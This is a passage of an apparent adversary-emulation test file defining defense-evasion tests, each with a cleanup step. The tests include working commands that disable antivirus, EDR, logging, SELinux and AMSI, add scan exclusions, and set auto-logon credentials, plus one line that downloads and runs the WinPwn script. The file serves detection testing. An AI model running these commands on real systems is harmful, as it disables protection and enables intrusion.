'Disables syslog collection ' supported_platforms: - linux executor: command: | service syslogd stop sysrc syslogd_enable="NO" cleanup_command: | sysrc syslogd_enable="YES" service syslogd start name: sh elevation_required: true - name: Disable Cb Response auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8 description: 'Disable the Cb Response service ' supported_platforms: - linux executor: command: | if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; then service cbdaemon stop chkconfig off cbdaemon else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; systemctl stop cbdaemon systemctl disable cbdaemon fi name: sh - name: Disable SELinux auto_generated_guid: fc225f36-9279-4c39-b3f9-5141ab74f8d8 description: 'Disables SELinux enforcement ' supported_platforms: - linux dependencies: - description: 'SELinux must be installed ' prereq_command: 'which setenforce ' get_prereq_command: 'echo "SELinux is not installed"; exit 1 ' executor: command: 'setenforce 0 ' cleanup_command: 'setenforce 1 ' name: sh elevation_required: true - name: Stop Crowdstrike Falcon on Linux auto_generated_guid: 828a1278-81cc-4802-96ab-188bf29ca77d description: 'Stop and disable Crowdstrike Falcon on Linux ' supported_platforms: - linux executor: command: | sudo systemctl stop falcon-sensor.service sudo systemctl disable falcon-sensor.service cleanup_command: | sudo systemctl enable falcon-sensor.service sudo systemctl start falcon-sensor.service name: sh elevation_required: true - name: Disable Carbon Black Response auto_generated_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c description: 'Disables Carbon Black Response ' supported_platforms: - macos executor: command: | sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist cleanup_command: | sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist name: sh elevation_required: true - name: Disable LittleSnitch auto_generated_guid: 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3 description: 'Disables LittleSnitch ' supported_platforms: - macos executor: command: 'sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist ' cleanup_command: 'sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist ' name: sh elevation_required: true - name: Disable OpenDNS Umbrella auto_generated_guid: 07f43b33-1e15-4e99-be70-bc094157c849 description: 'Disables OpenDNS Umbrella ' supported_platforms: - macos executor: command: 'sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist ' cleanup_command: 'sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist ' name: sh elevation_required: true - name: Disable macOS Gatekeeper auto_generated_guid: 2a821573-fb3f-4e71-92c3-daac7432f053 description: 'Disables macOS Gatekeeper ' supported_platforms: - macos executor: command: 'sudo spctl --master-disable ' cleanup_command: 'sudo spctl --master-enable ' name: sh elevation_required: true - name: Stop and unload Crowdstrike Falcon on macOS auto_generated_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef description: 'Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS ' supported_platforms: - macos input_arguments: falcond_plist: description: The path of the Crowdstrike Falcon plist file type: path default: "/Library/LaunchDaemons/com.crowdstrike.falcond.plist" userdaemon_plist: description: The path of the Crowdstrike Userdaemon plist file type: path default: "/Library/LaunchDaemons/com.crowdstrike.userdaemon.plist" executor: command: | sudo launchctl unload #{falcond_plist} sudo launchctl unload #{userdaemon_plist} cleanup_command: | sudo launchctl load -w #{falcond_plist} sudo launchctl load -w #{userdaemon_plist} name: sh elevation_required: true - name: Unload Sysmon Filter Driver auto_generated_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164 description: | Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, run the prereq_command's and it should fail with an error of "sysmon filter must be loaded". supported_platforms: - windows input_arguments: sysmon_driver: description: The name of the Sysmon filter driver (this can change from the default) type: string default: SysmonDrv dependency_executor_name: powershell dependencies: - description: 'Sysmon must be downloaded ' prereq_command: 'if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr /i Sysmon 2> nul") -or (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe")) { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sysmon" -Force - description: 'sysmon must be Installed ' prereq_command: 'if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 } ' get_prereq_command: | if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\Sysmon.exe -accepteula -i } else { & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i} - description: 'sysmon filter must be loaded ' prereq_command: 'if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 } ' get_prereq_command: | if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){ & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i }else{ sysmon -u sysmon -accepteula -i } executor: command: 'fltmc.exe unload #{sysmon_driver} ' cleanup_command: | sysmon -u -i > nul 2>&1 sysmon -i -accepteula -i > nul 2>&1 "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u > nul 2>&1 "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i > nul 2>&1 name: command_prompt elevation_required: true - name: Uninstall Sysmon auto_generated_guid: a316fb2e-5344-470d-91c1-23e15c374edc description: 'Uninstall Sysinternals Sysmon for Defense Evasion ' supported_platforms: - windows input_arguments: sysmon_exe: description: The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH) type: path default: PathToAtomicsFolder\T1562.001\bin\sysmon.exe dependency_executor_name: powershell dependencies: - description: 'Sysmon executable must be available ' prereq_command: 'if(cmd /c where sysmon) {exit 0} else {exit 1} ' get_prereq_command: | $parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip" New-Item -ItemType Directory $parentpath -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath" Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"} - description: 'Sysmon must be installed ' prereq_command: 'if(cmd /c sc query sysmon) { exit 0} else { exit 1} ' get_prereq_command: 'cmd /c sysmon -i -accepteula ' executor: command: 'sysmon -u ' cleanup_command: 'sysmon -i -accepteula >nul 2>&1 ' name: command_prompt elevation_required: true - name: AMSI Bypass - AMSI InitFailed auto_generated_guid: 695eed40-e949-40e5-b306-b4031e4154bd description: | Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true. Upon execution, no output is displayed. https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ supported_platforms: - windows executor: command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n" cleanup_command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)\n" name: powershell - name: AMSI Bypass - Remove AMSI Provider Reg Key auto_generated_guid: 13f09b91-c953-438e-845b-b585e51cac9b description: | With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection. This test removes the Windows Defender provider registry key. Upon execution, no output is displayed. Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone. supported_platforms: - windows executor: command: 'Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse ' cleanup_command: 'New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null ' name: powershell elevation_required: true - name: Disable Arbitrary Security Windows Service auto_generated_guid: a1230893-56ac-4c81-b644-2108e982f8f5 description: | With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed. Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service. To verify that the service has stopped, run "sc query McAfeeDLPAgentService" supported_platforms: - windows input_arguments: service_name: description: The name of the service to stop type: string default: McAfeeDLPAgentService executor: command: | net.exe stop #{service_name} sc.exe config #{service_name} start= disabled cleanup_command: | sc.exe config #{service_name} start= auto >nul 2>&1 net.exe start #{service_name} >nul 2>&1 name: command_prompt elevation_required: true - name: Tamper with Windows Defender ATP PowerShell auto_generated_guid: 6b8df440-51ec-4d53-bf83-899591c9b5d7 description: | Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled in Windows settings. supported_platforms: - windows executor: command: | Set-MpPreference -DisableRealtimeMonitoring 1 Set-MpPreference -DisableBehaviorMonitoring 1 Set-MpPreference -DisableScriptScanning 1 Set-MpPreference -DisableBlockAtFirstSeen 1 cleanup_command: | Set-MpPreference -DisableRealtimeMonitoring 0 Set-MpPreference -DisableBehaviorMonitoring 0 Set-MpPreference -DisableScriptScanning 0 Set-MpPreference -DisableBlockAtFirstSeen 0 name: powershell elevation_required: true - name: Tamper with Windows Defender Command Prompt auto_generated_guid: aa875ed4-8935-47e2-b2c5-6ec00ab220d2 description: | Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator. However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied" will be displayed twice and the WinDefend service status will be displayed. supported_platforms: - windows executor: command: | sc stop WinDefend sc config WinDefend start=disabled sc query WinDefend cleanup_command: | sc start WinDefend >nul 2>&1 sc config WinDefend start=enabled >nul 2>&1 name: command_prompt elevation_required: true - name: Tamper with Windows Defender Registry auto_generated_guid: 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45 description: | Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be grayed out and have no info. supported_platforms: - windows executor: command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 ' cleanup_command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0 ' name: powershell elevation_required: true - name: Disable Microsoft Office Security Features auto_generated_guid: 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7 description: | Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not show any warning before editing the document. https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/ supported_platforms: - windows executor: command: | New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel" New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword" New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword" New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword" New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword" cleanup_command: | Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore name: powershell - name: Remove Windows Defender Definition Files auto_generated_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68 description: | Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments. On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the command will say completed. https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/ supported_platforms: - windows executor: command: '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ' name: command_prompt elevation_required: true - name: Stop and Remove Arbitrary Security Windows Service auto_generated_guid: ae753dda-0f15-4af6-a168-b9ba16143143 description: 'Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database. ' supported_platforms: - windows input_arguments: service_name: description: The name of the service to remove type: string default: McAfeeDLPAgentService executor: command: | Stop-Service -Name #{service_name} Remove-Service -Name #{service_name} name: powershell elevation_required: true - name: Uninstall Crowdstrike Falcon on Windows auto_generated_guid: b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297 description: 'Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller. ' supported_platforms: - windows input_arguments: falcond_path: description: The Crowdstrike Windows Sensor path. The Guid always changes. type: path default: C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe executor: command: if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}} name: powershell elevation_required: true - name: Tamper with Windows Defender Evade Scanning -Folder auto_generated_guid: 0b19f4ee-de90-4059-88cb-63c800c683ed description: "Malware can exclude a specific path from being scanned and evading detection. \nUpon successul execution, the file provided should be on the list of excluded path. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionPath \n" supported_platforms: - windows input_arguments: excluded_folder: description: This folder will be excluded from scanning type: path default: C:\Temp executor: command: |- $excludedpath= "#{excluded_folder}" Add-MpPreference -ExclusionPath $excludedpath cleanup_command: | $excludedpath= "#{excluded_folder}" Remove-MpPreference -ExclusionPath $excludedpath name: powershell elevation_required: true - name: Tamper with Windows Defender Evade Scanning -Extension auto_generated_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea description: "Malware can exclude specific extensions from being scanned and evading detection. \nUpon successful execution, the extension(s) should be on the list of excluded extensions.\nTo check the exclusion list using poweshell \ (Get-MpPreference).ExclusionExtension.\n" supported_platforms: - windows input_arguments: excluded_exts: description: A list of extension to exclude from scanning type: string default: ".exe" executor: command: |- $excludedExts= "#{excluded_exts}" Add-MpPreference -ExclusionExtension $excludedExts cleanup_command: | $excludedExts= "#{excluded_exts}" Remove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore name: powershell elevation_required: true - name: Tamper with Windows Defender Evade Scanning -Process auto_generated_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27 description: "Malware can exclude specific processes from being scanned and evading detection.\nUpon successful execution, the process(es) should be on the list of excluded processes. \nTo check the exclusion list using poweshell \ (Get-MpPreference).ExclusionProcess.\"\n" supported_platforms: - windows input_arguments: excluded_process: description: A list of processes to exclude from scanning type: string default: outlook.exe executor: command: |- $excludedProcess = "#{excluded_process}" Add-MpPreference -ExclusionProcess $excludedProcess cleanup_command: | $excludedProcess = "#{excluded_process}" Remove-MpPreference -ExclusionProcess $excludedProcess name: powershell elevation_required: true - name: office-365-Disable-AntiPhishRule auto_generated_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3 description: 'Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization. ' supported_platforms: - office-365 input_arguments: username: description: office-365 username type: string default: password: description: office-365 password type: string default: dependency_executor_name: powershell dependencies: - description: 'ExchangeOnlineManagement PowerShell module must be installed ' prereq_command: | $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0} get_prereq_command: | Install-Module -Name ExchangeOnlineManagement Import-Module ExchangeOnlineManagement executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds $test = Get-AntiPhishRule Disable-AntiPhishRule -Identity $test.Name -Confirm:$false Get-AntiPhishRule cleanup_command: "if(\"#{password}\" -ne \"\") {\n$secure_pwd = (\"#{password}\" + \"\") | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\n$test = Get-AntiPhishRule\nEnable-AntiPhishRule -Identity $test.Name -Confirm:$false\nGet-AntiPhishRule\n} \n" name: powershell elevation_required: false - name: Disable Windows Defender with DISM auto_generated_guid: 871438ac-7d6e-432a-b27d-3e7db69faf58 description: "The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. \nDISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.\nA successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.\nThis method will remove Defender and it's package.\n" supported_platforms: - windows executor: command: Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet name: command_prompt elevation_required: true - name: Disable Defender Using NirSoft AdvancedRun auto_generated_guid: 81ce22fd-9612-4154-918e-8a1f285d214d description: "Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html\nThis Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.\nSee https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3\nUpon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk. \n" supported_platforms: - windows input_arguments: AdvancedRun_Location: description: Path of Advanced Run executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\AdvancedRun.exe delete_defender_folder: description: Set to 1 to also delete the Windows Defender folder type: integer default: 0 dependency_executor_name: powershell dependencies: - description: 'Advancedrun.exe must exist at #{AdvancedRun_Location} ' prereq_command: 'if(Test-Path -Path "#{AdvancedRun_Location}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip" Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -Force executor: command: | Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{} if(#{delete_defender_folder}){ $CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe" /WindowState 0 /CommandLine "$CommandToRun" /StartDirectory "" /RunAs 8 /Run} Catch{} } cleanup_command: 'Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "start WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{} ' name: powershell elevation_required: true - name: Kill antimalware protected processes using Backstab auto_generated_guid: 24a12b91-05a7-4deb-8d7f-035fa98591bc description: |- Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill. https://github.com/Yaxser/Backstab supported_platforms: - windows input_arguments: process_name: description: Name of the protected process you want to kill/terminate. type: string default: MsMpEng.exe dependency_executor_name: powershell dependencies: - description: Backstab64.exe should exist in ExtrnalPayloads Directory prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe" executor: command: '& "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe" -k -n #{process_name} ' name: powershell elevation_required: true - name: WinPwn - Kill the event log services for stealth auto_generated_guid: 7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66 description: Kill the event log services for stealth via function of WinPwn supported_platforms: - windows executor: command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ninv-phantom -consoleoutput -noninteractive " name: powershell - name: Tamper with Windows Defender ATP using Aliases - PowerShell auto_generated_guid: c531aa6e-9c97-4b29-afee-9b7be6fc8a64 description: | Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled in Windows settings. supported_platforms: - windows executor: command: | Set-MpPreference -drtm $True Set-MpPreference -dbm $True Set-MpPreference -dscrptsc $True Set-MpPreference -dbaf $True cleanup_command: | Set-MpPreference -drtm 0 Set-MpPreference -dbm 0 Set-MpPreference -dscrptsc 0 Set-MpPreference -dbaf 0 name: powershell elevation_required: true - name: LockBit Black - Disable Privacy Settings Experience Using Registry -cmd auto_generated_guid: d6d22332-d07d-498f-aea0-6139ecb7850e description: 'LockBit Black - Disable Privacy Settings Experience Using Registry ' supported_platforms: - windows executor: command: 'reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f ' cleanup_command: 'reg delete "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /f >nul 2>&1 ' name: command_prompt elevation_required: true - name: LockBit Black - Use Registry Editor to turn on automatic logon -cmd auto_generated_guid: 9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70 description: 'LockBit Black - Use Registry Editor to turn on automatic logon ' supported_platforms: - windows executor: command: | reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_DWORD /d 1 /f reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /t REG_SZ /d contoso.com /f reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d password1 /f cleanup_command: | reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /f >nul 2>&1 reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /f >nul 2>&1 reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /f >nul 2>&1 reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f >nul 2>&1 name: command_prompt elevation_required: true - name: LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell auto_generated_guid: d8c57eaa-497a-4a08-961e-bd5efd7c9374 description: 'LockBit Black - Disable Privacy Settings Experience Using Registry ' supported_platforms: - windows executor: command: 'New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force ' cleanup_command: 'Remove-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -Force -ErrorAction Ignore ' name: powershell elevation_required: true - name: Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell auto_generated_guid: 5e27f36d-5132-4537-b43b-413b0d5eec9a description: 'Lockbit Black - Use Registry Editor to turn on automatic logon ' supported_platforms: - windows executor: command: | New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Value Administrator -Force New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Value contoso.com -Force New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Value password1 -Force cleanup_command: | Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Force -ErrorAction Ignore name: powershell elevation_required: true - name: Disable Windows Defender with PwSh Disable-WindowsOptionalFeature auto_generated_guid: f542ffd3-37b4-4528-837f-682874faa012 description: "The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. \nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.\nA successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.\nThis method will remove Defender and it's packages.\nReference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps\n" supported_platforms: - windows executor: command: |- Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gui" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Features" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard" -NoRestart -ErrorAction Ignore name: powershell elevation_required: true - name: WMIC Tamper with Windows Defender Evade Scanning Folder auto_generated_guid: 59d386fc-3a4b-41b8-850d-9e3eee24dfe4 description: | The following Atomic will attempt to exclude a folder within Defender leveraging WMI Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/ supported_platforms: - windows executor: command: 'wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"ATOMICREDTEAM\" ' cleanup_command: 'wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Remove ExclusionPath=\"ATOMICREDTEAM\" ' name: command_prompt elevation_required: true - name: Delete Windows Defender Scheduled Tasks auto_generated_guid: 4b841aa1-0d05-4b32-bbe7-7564346e7c76 description: | The following atomic test will delete the Windows Defender scheduled tasks. [Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/) supported_platforms: - windows dependencies: - description: 'The Windows Defender scheduled tasks must be backed up first ' prereq_command: 'IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: | schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" > "%temp%\Windows_Defender_Scheduled_Scan.xml" schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" > "%temp%\Windows_Defender_Cleanup.xml" schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" > "%temp%\Windows_Defender_Verification.xml" schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" > "%temp%\Windows_Defender_Cache_Maintenance.xml" executor: command: | IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f ) IF EXIST "%temp%\Windows_Defender_Cleanup.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f ) IF EXIST "%temp%\Windows_Defender_Verification.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f ) IF EXIST "%temp%\Windows_Defender_Cache_Maintenance.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f ) cleanup_command: | schtasks /create /xml "%temp%\Windows_Defender_Scheduled_Scan.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled 